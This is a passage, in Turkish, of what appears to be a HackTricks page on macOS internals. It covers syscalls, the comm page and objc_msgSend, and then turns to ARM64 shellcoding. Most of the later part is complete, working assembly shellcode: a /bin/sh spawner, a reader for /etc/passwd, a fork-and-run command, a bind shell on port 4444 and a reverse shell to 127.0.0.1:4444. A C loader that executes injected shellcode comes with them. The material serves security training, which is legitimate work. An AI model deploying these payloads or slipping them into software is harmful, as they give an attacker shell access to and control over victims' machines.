kodunu kontrol etmek, kaynak kodunu kontrol etmekten daha kolaydır çünkü birkaç syscalls'un (BSD ve Mach) kodu scriptler aracılığıyla üretilir (kaynak kodundaki yorumlara bakın) oysa dylib'de neyin çağrıldığını bulabilirsiniz.
machdep çağrıları
XNU, makine bağımlı olarak adlandırılan başka bir çağrı türünü destekler. Bu çağrıların sayısı mimariye bağlıdır ve ne çağrılar ne de sayılar sabit kalacağına dair bir garanti yoktur.
comm sayfası
Bu, her kullanıcı sürecinin adres alanına haritalanan bir çekirdek sahibi bellek sayfasıdır. Kullanıcı modundan çekirdek alanına geçişi, bu geçişin çok verimsiz olacağı kadar sık kullanılan çekirdek hizmetleri için syscalls kullanmaktan daha hızlı hale getirmek için tasarlanmıştır.
Örneğin, gettimeofdate
çağrısı timeval
değerini doğrudan comm sayfasından okur.
objc_msgSend
Bu fonksiyonun Objective-C veya Swift programlarında kullanıldığını bulmak oldukça yaygındır. Bu fonksiyon, bir Objective-C nesnesinin bir yöntemini çağırmayı sağlar.
Parametreler (belgelerde daha fazla bilgi):
- x0: self -> Örneğe işaretçi
- x1: op -> Yöntemin seçici
- x2... -> Çağrılan yöntemin geri kalan argümanları
Bu nedenle, bu fonksiyona giden dalın önünde bir breakpoint koyarsanız, lldb'de neyin çağrıldığını kolayca bulabilirsiniz (bu örnekte nesne, bir komut çalıştıracak olan NSConcreteTask
'tan bir nesneyi çağırır):
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
tip
Ortam değişkenini NSObjCMessageLoggingEnabled=1
olarak ayarlamak, bu fonksiyon çağrıldığında /tmp/msgSends-pid
gibi bir dosyaya kaydetmek mümkündür.
Ayrıca, OBJC_HELP=1
ayarlayarak ve herhangi bir ikili dosyayı çağırarak, belirli Objc-C eylemleri gerçekleştiğinde log için kullanabileceğiniz diğer ortam değişkenlerini görebilirsiniz.
Bu fonksiyon çağrıldığında, belirtilen örneğin çağrılan yöntemini bulmak gerekir, bunun için farklı aramalar yapılır:
- İyimser önbellek araması yapın:
- Başarılıysa, tamam
- runtimeLock (okuma) edin
- Eğer (realize && !cls->realized) sınıfı gerçekleştirin
- Eğer (initialize && !cls->initialized) sınıfı başlatın
- Sınıfın kendi önbelleğini deneyin:
- Başarılıysa, tamam
- Sınıf yöntem listesini deneyin:
- Bulunduysa, önbelleği doldurun ve tamam
- Üst sınıf önbelleğini deneyin:
- Başarılıysa, tamam
- Üst sınıf yöntem listesini deneyin:
- Bulunduysa, önbelleği doldurun ve tamam
- Eğer (resolver) yöntem çözücüsünü deneyin ve sınıf aramasından tekrar edin
- Eğer hala buradaysa (= diğer her şey başarısız oldu) yönlendiriciyi deneyin
Shellcodes
Derlemek için:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Baytları çıkarmak için:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Yeni macOS için:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
Shellcode'u test etmek için C kodu
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
Shell
buradan alınmış ve açıklanmıştır.
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
Cat ile oku
Amaç, execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
komutunu çalıştırmaktır, bu nedenle ikinci argüman (x1) bir parametreler dizisidir (bellekte bu, adreslerin bir yığını anlamına gelir).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
Fork'tan sh ile komut çağırın, böylece ana işlem öldürülmez.
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
port 4444'te https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s adresinden bind shell
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Ters kabuk
From https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell to 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.